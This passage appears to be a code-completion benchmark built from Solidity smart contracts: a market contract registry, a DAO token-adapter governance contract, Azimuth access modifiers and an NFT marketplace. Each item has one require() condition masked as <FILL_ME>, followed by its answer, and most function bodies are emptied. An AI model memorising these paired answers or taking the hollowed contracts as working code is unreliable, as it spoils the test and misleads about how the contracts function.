/// @param factoryAddress address of factory to be allowed to add contracts to whitelist
function addFactoryAddress(address factoryAddress) external onlyOwner {
}
/// @dev allows for the owner to remove an address of a factory
/// @param factoryAddress address of factory to be removed
function removeFactoryAddress(address factoryAddress) external onlyOwner {
}
}
| addressWhiteList[whiteListIndex]==contractAddress,"index does not match address" | 341,026 | addressWhiteList[whiteListIndex]==contractAddress |
"Can only be added by factory or owner" | /*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
}
}
/*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MarketContractRegistryInterface {
function addAddressToWhiteList(address contractAddress) external;
function isAddressWhiteListed(address contractAddress) external view returns (bool);
}
/// @title MarketContractRegistry
/// @author Phil Elsasser <[email protected]>
contract MarketContractRegistry is Ownable, MarketContractRegistryInterface {
// whitelist accounting
mapping(address => bool) public isWhiteListed;
address[] public addressWhiteList; // record of currently deployed addresses;
mapping(address => bool) public factoryAddressWhiteList; // record of authorized factories
// events
event AddressAddedToWhitelist(address indexed contractAddress);
event AddressRemovedFromWhitelist(address indexed contractAddress);
event FactoryAddressAdded(address indexed factoryAddress);
event FactoryAddressRemoved(address indexed factoryAddress);
/*
// External Methods
*/
/// @notice determines if an address is a valid MarketContract
/// @return false if the address is not white listed.
function isAddressWhiteListed(address contractAddress) external view returns (bool) {
}
/// @notice all currently whitelisted addresses
/// returns array of addresses
function getAddressWhiteList() external view returns (address[] memory) {
}
/// @dev allows for the owner to remove a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
/// @param whiteListIndex of the contractAddress in the addressWhiteList to be removed.
function removeContractFromWhiteList(
address contractAddress,
uint whiteListIndex
) external onlyOwner
{
}
/// @dev allows for the owner or factory to add a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
function addAddressToWhiteList(address contractAddress) external {
require(<FILL_ME>)
require(!isWhiteListed[contractAddress], "Address must not be whitelisted");
isWhiteListed[contractAddress] = true;
addressWhiteList.push(contractAddress);
emit AddressAddedToWhitelist(contractAddress);
}
/// @dev allows for the owner to add a new address of a factory responsible for creating new market contracts
/// @param factoryAddress address of factory to be allowed to add contracts to whitelist
function addFactoryAddress(address factoryAddress) external onlyOwner {
}
/// @dev allows for the owner to remove an address of a factory
/// @param factoryAddress address of factory to be removed
function removeFactoryAddress(address factoryAddress) external onlyOwner {
}
}
| isOwner()||factoryAddressWhiteList[msg.sender],"Can only be added by factory or owner" | 341,026 | isOwner()||factoryAddressWhiteList[msg.sender] |
"Address must not be whitelisted" | /*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
}
}
/*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MarketContractRegistryInterface {
function addAddressToWhiteList(address contractAddress) external;
function isAddressWhiteListed(address contractAddress) external view returns (bool);
}
/// @title MarketContractRegistry
/// @author Phil Elsasser <[email protected]>
contract MarketContractRegistry is Ownable, MarketContractRegistryInterface {
// whitelist accounting
mapping(address => bool) public isWhiteListed;
address[] public addressWhiteList; // record of currently deployed addresses;
mapping(address => bool) public factoryAddressWhiteList; // record of authorized factories
// events
event AddressAddedToWhitelist(address indexed contractAddress);
event AddressRemovedFromWhitelist(address indexed contractAddress);
event FactoryAddressAdded(address indexed factoryAddress);
event FactoryAddressRemoved(address indexed factoryAddress);
/*
// External Methods
*/
/// @notice determines if an address is a valid MarketContract
/// @return false if the address is not white listed.
function isAddressWhiteListed(address contractAddress) external view returns (bool) {
}
/// @notice all currently whitelisted addresses
/// returns array of addresses
function getAddressWhiteList() external view returns (address[] memory) {
}
/// @dev allows for the owner to remove a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
/// @param whiteListIndex of the contractAddress in the addressWhiteList to be removed.
function removeContractFromWhiteList(
address contractAddress,
uint whiteListIndex
) external onlyOwner
{
}
/// @dev allows for the owner or factory to add a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
function addAddressToWhiteList(address contractAddress) external {
require(isOwner() || factoryAddressWhiteList[msg.sender], "Can only be added by factory or owner");
require(<FILL_ME>)
isWhiteListed[contractAddress] = true;
addressWhiteList.push(contractAddress);
emit AddressAddedToWhitelist(contractAddress);
}
/// @dev allows for the owner to add a new address of a factory responsible for creating new market contracts
/// @param factoryAddress address of factory to be allowed to add contracts to whitelist
function addFactoryAddress(address factoryAddress) external onlyOwner {
}
/// @dev allows for the owner to remove an address of a factory
/// @param factoryAddress address of factory to be removed
function removeFactoryAddress(address factoryAddress) external onlyOwner {
}
}
| !isWhiteListed[contractAddress],"Address must not be whitelisted" | 341,026 | !isWhiteListed[contractAddress] |
"address already added" | /*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
}
}
/*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MarketContractRegistryInterface {
function addAddressToWhiteList(address contractAddress) external;
function isAddressWhiteListed(address contractAddress) external view returns (bool);
}
/// @title MarketContractRegistry
/// @author Phil Elsasser <[email protected]>
contract MarketContractRegistry is Ownable, MarketContractRegistryInterface {
// whitelist accounting
mapping(address => bool) public isWhiteListed;
address[] public addressWhiteList; // record of currently deployed addresses;
mapping(address => bool) public factoryAddressWhiteList; // record of authorized factories
// events
event AddressAddedToWhitelist(address indexed contractAddress);
event AddressRemovedFromWhitelist(address indexed contractAddress);
event FactoryAddressAdded(address indexed factoryAddress);
event FactoryAddressRemoved(address indexed factoryAddress);
/*
// External Methods
*/
/// @notice determines if an address is a valid MarketContract
/// @return false if the address is not white listed.
function isAddressWhiteListed(address contractAddress) external view returns (bool) {
}
/// @notice all currently whitelisted addresses
/// returns array of addresses
function getAddressWhiteList() external view returns (address[] memory) {
}
/// @dev allows for the owner to remove a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
/// @param whiteListIndex of the contractAddress in the addressWhiteList to be removed.
function removeContractFromWhiteList(
address contractAddress,
uint whiteListIndex
) external onlyOwner
{
}
/// @dev allows for the owner or factory to add a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
function addAddressToWhiteList(address contractAddress) external {
}
/// @dev allows for the owner to add a new address of a factory responsible for creating new market contracts
/// @param factoryAddress address of factory to be allowed to add contracts to whitelist
function addFactoryAddress(address factoryAddress) external onlyOwner {
require(<FILL_ME>)
factoryAddressWhiteList[factoryAddress] = true;
emit FactoryAddressAdded(factoryAddress);
}
/// @dev allows for the owner to remove an address of a factory
/// @param factoryAddress address of factory to be removed
function removeFactoryAddress(address factoryAddress) external onlyOwner {
}
}
| !factoryAddressWhiteList[factoryAddress],"address already added" | 341,026 | !factoryAddressWhiteList[factoryAddress] |
"factory address is not in the white list" | /*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
}
}
/*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MarketContractRegistryInterface {
function addAddressToWhiteList(address contractAddress) external;
function isAddressWhiteListed(address contractAddress) external view returns (bool);
}
/// @title MarketContractRegistry
/// @author Phil Elsasser <[email protected]>
contract MarketContractRegistry is Ownable, MarketContractRegistryInterface {
// whitelist accounting
mapping(address => bool) public isWhiteListed;
address[] public addressWhiteList; // record of currently deployed addresses;
mapping(address => bool) public factoryAddressWhiteList; // record of authorized factories
// events
event AddressAddedToWhitelist(address indexed contractAddress);
event AddressRemovedFromWhitelist(address indexed contractAddress);
event FactoryAddressAdded(address indexed factoryAddress);
event FactoryAddressRemoved(address indexed factoryAddress);
/*
// External Methods
*/
/// @notice determines if an address is a valid MarketContract
/// @return false if the address is not white listed.
function isAddressWhiteListed(address contractAddress) external view returns (bool) {
}
/// @notice all currently whitelisted addresses
/// returns array of addresses
function getAddressWhiteList() external view returns (address[] memory) {
}
/// @dev allows for the owner to remove a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
/// @param whiteListIndex of the contractAddress in the addressWhiteList to be removed.
function removeContractFromWhiteList(
address contractAddress,
uint whiteListIndex
) external onlyOwner
{
}
/// @dev allows for the owner or factory to add a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
function addAddressToWhiteList(address contractAddress) external {
}
/// @dev allows for the owner to add a new address of a factory responsible for creating new market contracts
/// @param factoryAddress address of factory to be allowed to add contracts to whitelist
function addFactoryAddress(address factoryAddress) external onlyOwner {
}
/// @dev allows for the owner to remove an address of a factory
/// @param factoryAddress address of factory to be removed
function removeFactoryAddress(address factoryAddress) external onlyOwner {
require(<FILL_ME>)
factoryAddressWhiteList[factoryAddress] = false;
emit FactoryAddressRemoved(factoryAddress);
}
}
| factoryAddressWhiteList[factoryAddress],"factory address is not in the white list" | 341,026 | factoryAddressWhiteList[factoryAddress] |
"Invalid token adapter name" | // Copyright (C) 2020 Easy Chain. <https://easychain.tech>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.5;
pragma experimental ABIEncoderV2;
import { EnumerableSet } from "./EnumerableSet.sol";
import { Ownable } from "./Ownable.sol";
interface AdapterRegistry {
function isValidTokenAdapter(
string calldata tokenAdapterName
)
external
returns (bool);
}
struct TypedToken {
string tokenType;
address token;
}
/**
* @dev BerezkaTokenAdapterGovernance contract.
* Main function of this contract is to maintains a Structure of BerezkaDAO
* @author Vasin Denis <[email protected]>
*/
contract BerezkaTokenAdapterGovernance is Ownable() {
AdapterRegistry internal constant ADAPTER_REGISTRY =
AdapterRegistry(0x06FE76B2f432fdfEcAEf1a7d4f6C3d41B5861672);
using EnumerableSet for EnumerableSet.AddressSet;
/// @dev This is a set of plain assets (ERC20) used by DAO.
/// This list also include addresses of Uniswap/Balancer tokenized pools.
mapping (string => EnumerableSet.AddressSet) private tokens;
/// @dev This is a list of all token types that are managed by contract
/// New token type is added to this list upon first adding a token with given type
string[] public tokenTypes;
/// @dev This is a set of debt protocol adapters that return debt in ETH
EnumerableSet.AddressSet private ethProtocols;
/// @dev This is a set of debt protocol adapters that return debt for ERC20 tokens
EnumerableSet.AddressSet private protocols;
/// @dev This is a mapping from Berezka DAO product to corresponding Vault addresses
mapping(address => address[]) private productVaults;
constructor(address[] memory _protocols, address[] memory _ethProtocols) public {
}
// Modification functions (all only by owner)
function setProductVaults(address _product, address[] memory _vaults) public onlyOwner() {
}
function removeProduct(address _product) public onlyOwner() {
}
function addTokens(string memory _type, address[] memory _tokens) public onlyOwner() {
require(_tokens.length > 0, "Length should be > 0");
require(<FILL_ME>)
if (tokens[_type].length() == 0) {
tokenTypes.push(_type);
}
_add(tokens[_type], _tokens);
}
function addProtocols(address[] memory _protocols) public onlyOwner() {
}
function addEthProtocols(address[] memory _ethProtocols) public onlyOwner() {
}
function removeTokens(string memory _type, address[] memory _tokens) public onlyOwner() {
}
function removeProtocols(address[] memory _protocols) public onlyOwner() {
}
function removeEthProtocols(address[] memory _ethProtocols) public onlyOwner() {
}
function setTokenTypes(string[] memory _tokenTypes) public onlyOwner() {
}
// View functions
function listTokens() external view returns (TypedToken[] memory) {
}
function listTokens(string calldata _type) external view returns (address[] memory) {
}
function listProtocols() external view returns (address[] memory) {
}
function listEthProtocols() external view returns (address[] memory) {
}
function getVaults(address _token) external view returns (address[] memory) {
}
// Internal functions
function _add(EnumerableSet.AddressSet storage _set, address[] memory _addresses) internal {
}
function _remove(EnumerableSet.AddressSet storage _set, address[] memory _addresses) internal {
}
function _list(EnumerableSet.AddressSet storage _set) internal view returns(address[] memory) {
}
}
| ADAPTER_REGISTRY.isValidTokenAdapter(_type),"Invalid token adapter name" | 341,109 | ADAPTER_REGISTRY.isValidTokenAdapter(_type) |
null | // contract that uses the Azimuth data contract
pragma solidity 0.4.24;
// ReadsAzimuth: referring to and testing against the Azimuth
// data contract
//
// To avoid needless repetition, this contract provides common
// checks and operations using the Azimuth contract.
//
contract ReadsAzimuth
{
// azimuth: points data storage contract.
//
Azimuth public azimuth;
// constructor(): set the Azimuth data contract's address
//
constructor(Azimuth _azimuth)
public
{
}
// activePointOwner(): require that :msg.sender is the owner of _point,
// and that _point is active
//
modifier activePointOwner(uint32 _point)
{
require(<FILL_ME>)
_;
}
// activePointManager(): require that :msg.sender can manage _point,
// and that _point is active
//
modifier activePointManager(uint32 _point)
{
}
}
| azimuth.isOwner(_point,msg.sender)&&azimuth.isActive(_point) | 341,205 | azimuth.isOwner(_point,msg.sender)&&azimuth.isActive(_point) |
null | // contract that uses the Azimuth data contract
pragma solidity 0.4.24;
// ReadsAzimuth: referring to and testing against the Azimuth
// data contract
//
// To avoid needless repetition, this contract provides common
// checks and operations using the Azimuth contract.
//
contract ReadsAzimuth
{
// azimuth: points data storage contract.
//
Azimuth public azimuth;
// constructor(): set the Azimuth data contract's address
//
constructor(Azimuth _azimuth)
public
{
}
// activePointOwner(): require that :msg.sender is the owner of _point,
// and that _point is active
//
modifier activePointOwner(uint32 _point)
{
}
// activePointManager(): require that :msg.sender can manage _point,
// and that _point is active
//
modifier activePointManager(uint32 _point)
{
require(<FILL_ME>)
_;
}
}
| azimuth.canManage(_point,msg.sender)&&azimuth.isActive(_point) | 341,205 | azimuth.canManage(_point,msg.sender)&&azimuth.isActive(_point) |
"NFTMarket/open_erc20_not_registered" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
if(volume > 1 && isAuction) {
revert("NFTMarket/if_volume_>_1,isAuction_should_be_false");
}
require(volume > 0,"NFTMarket/open_0_volume");
require(price > 0, "NFTMarket/open_0_price");
require(<FILL_ME>)
if(isAuction) {
require(end > start,"NFTMarket/open_should_end_>_start");
}
_nftBase.safeTransferFrom(_msgSender(),address(this),nftId,volume,"");
id = ++_currentSalesId;
_sales[id].seller = _msgSender();
_sales[id].isAuction = isAuction;
_sales[id].nftId = nftId;
_sales[id].volume = volume;
_sales[id].erc20 = erc20;
_sales[id].price = price;
_sales[id].isCanceled = false;
_sales[id].isSettled = false;
if(isAuction) {
_sales[id].bid = price;
_sales[id].start = start;
_sales[id].end = end;
}
emit Open(id,_msgSender(),isAuction,nftId,volume,erc20,price,start,end);
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| _erc20s.contains(erc20),"NFTMarket/open_erc20_not_registered" | 341,370 | _erc20s.contains(erc20) |
"NFTMarket/sale_is_auction" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
